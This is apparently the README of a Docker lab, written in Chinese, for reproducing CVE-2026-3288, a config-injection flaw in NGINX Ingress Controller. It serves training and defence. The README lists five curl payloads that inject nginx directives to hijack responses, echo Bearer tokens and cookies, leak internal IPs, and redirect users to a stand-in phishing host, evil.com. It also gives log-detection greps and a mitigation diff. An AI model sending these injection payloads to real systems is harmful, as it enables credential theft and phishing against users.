bvabhishek/CVE-2026-3288-lab

GitHub: bvabhishek/CVE-2026-3288-lab

这是一个基于 Docker 的 NGINX Ingress Controller 漏洞实验室,旨在帮助用户复现 CVE-2026-3288 配置注入漏洞并进行攻防演练。

Stars: 0 | Forks: 0

# CVE-2026-3288 漏洞实验室 (Docker) ## NGINX Ingress Controller 配置注入 ⚠️ **警告**: 本实验室包含故意设置的漏洞配置,**仅限授权的安全培训使用** ## 漏洞概述 **CVE-2026-3288** (CVSS 8.8 HIGH) - NGINX Ingress Controller 中的配置注入 - **受影响版本**: < v1.13.8, v1.14.4, v1.15.0 - **攻击向量**: 路径配置中的双引号 (`"`) 注入 - **影响**: 远程代码执行、Secret 泄露、凭证窃取 - **相关**: CVE-2026-24512 (类似的路径注入) ### 根本原因 `buildProxyPass()` 函数在将路径输入插入到 nginx 配置之前未进行清理,允许攻击者突破引号字符串并注入任意的 nginx 指令。 ## 实验室组件 ``` CVE-2026-3288-lab/ ├── README.md # This file ├── docker-compose.yml # Main lab setup ├── docker/ │ ├── nginx/ │ │ ├── Dockerfile # Vulnerable NGINX setup │ │ ├── nginx.conf # Base configuration │ │ └── vulnerable-config.conf # Vulnerable path handling │ └── backend/ │ ├── Dockerfile # Simple backend app │ └── app.py # Flask application ├── exploits/ │ ├── exploit.py # Automated exploitation script │ ├── payloads.txt # Collection of exploit payloads │ └── test-exploits.sh # Test all exploits ├── detection/ │ └── monitor-logs.sh # Monitor for exploitation attempts └── cleanup/ └── cleanup.sh # Remove all lab resources ``` ## 前置条件 - 已安装 Docker - 已安装 Docker Compose - Python 3.6+ (用于利用脚本) - curl 或 wget - 最小 2GB RAM ## 快速开始 ### 1. 启动实验室 ``` cd CVE-2026-3288-lab # 启动脆弱环境 docker-compose up -d # 检查状态 docker-compose ps ``` ### 2. 验证安装 ``` # 测试 backend 是否运行 curl http://localhost:8080/ # 测试 NGINX 是否运行 curl http://localhost/ ``` ### 3. 运行利用脚本 ``` cd exploits # 自动化利用 python3 exploit.py --all # 或测试单独的 exploits bash test-exploits.sh ``` ### 4. 监控日志 ``` # 监控 NGINX 日志以检测利用行为 docker-compose logs -f nginx # 监控检测 cd detection bash monitor-logs.sh ``` ### 5. 清理 ``` docker-compose down -v ``` ## 攻击场景 ### 场景 1: 响应劫持 注入 nginx `return` 指令以提供攻击者控制的内容。 **Payload:** ``` /api" return 200 "HACKED BY ATTACKER ``` **测试:** ``` curl 'http://localhost/api" return 200 "HACKED' ``` ### 场景 2: 凭证窃取 在响应中回显 Authorization 头以窃取 Bearer 令牌。 **Payload:** ``` /login" return 200 "Token: $http_authorization ``` **测试:** ``` curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization' ``` ### 场景 3: 网络钓鱼重定向 将用户重定向到攻击者控制的钓鱼网站。 **Payload:** ``` /" return 302 "https://evil.com/phishing ``` **测试:** ``` curl -I 'http://localhost/" return 302 "https://evil.com/phishing' ``` ### 场景 4: 内网 IP 泄露 泄露内部服务器信息。 **Payload:** ``` /" return 200 "Internal IP: $server_addr ``` **测试:** ``` curl 'http://localhost/" return 200 "Internal IP: $server_addr' ``` ### 场景 5: Cookie 窃取 窃取会话 Cookie。 **Payload:** ``` /" return 200 "Cookies: $http_cookie ``` **测试:** ``` curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie' ``` ## 工作原理 ### 漏洞代码模式 ``` # 脆弱配置 location ~ "^/api" { rewrite "(?i)/api" /backend break; proxy_pass http://backend; } ``` ### 利用 当路径包含 `"` 时,它会破坏引号字符串: ``` # 攻击者输入:/api" return 200 "HACKED # 结果为: location ~ "^/api" return 200 "HACKED" { # Original config is now broken } ``` ## 检测 ### 日志监控 ``` # 监视可疑模式 docker-compose logs nginx | grep -E '(return|rewrite|set).*"' ``` ### 手动检测 ``` # 检查 NGINX 配置中注入的指令 docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location" ``` ## 缓解措施 ### 立即采取的行动 1. **输入验证** - 清理所有路径输入 2. **转义特殊字符** - 正确转义 `"` 和 `\` 3. **使用白名单** - 仅允许已知的良性路径 4. **监控日志** - 对可疑模式发出警报 ### 代码修复 ``` // Before (vulnerable) path := location.Path config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target) // After (fixed) path := sanitizeQuotedRegex(location.Path) config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target) ``` ## 学习目标 完成本实验室后,您将了解: 1. ✅ 配置注入漏洞的工作原理 2. ✅ 输入清理不足的影响 3. ✅ 多种利用技术 4. ✅ 通过日志分析进行检测的方法 5. ✅ 正确的缓解策略 ## 故障排除 ### 容器无法启动 ``` # 检查日志 docker-compose logs # 重启 docker-compose restart ``` ### 端口已被占用 ``` # 更改 docker-compose.yml 中的端口 # 或停止冲突的服务 sudo lsof -i :80 ``` ### 利用脚本不起作用 ``` # 验证 NGINX 正在运行 docker-compose ps nginx # 检查 NGINX 配置 docker exec cve-2026-3288-nginx nginx -t ``` ## 安全提示 - ⚠️ **仅**在隔离的实验室环境中使用 - ⚠️ **切勿**在生产系统上部署 - ⚠️ **切勿**暴露到互联网 - ⚠️ 测试前确保获得适当授权 - ⚠️ 遵循负责任的披露原则 ## 参考资料 - [CVE-2026-3288 公告](https://github.com/kubernetes/ingress-nginx/security/advisories) - [修复 PR #14667](https://github.com/kubernetes/ingress-nginx/pull/14667) - [Sysdig 分析](https://www.sysdig.com/blog/detecting-cve-2026-3288) **仅供授权的安全培训和研究所创建**
标签:CISA项目, CVE-2026-3288, Docker, Flask, Ingress, NGINX Ingress Controller, Python, RCE, Web安全, Web截图, 凭据窃取, 协议分析, 安全防御评估, 安全靶场, 容器安全, 无后门, 权限提升, 漏洞复现, 漏洞靶场, 版权保护, 编程工具, 网络安全, 自动化攻击脚本, 蓝队分析, 请求拦截, 负责任AI, 路径遍历, 远程代码执行, 逆向工具, 配置注入, 防御检测, 隐私保护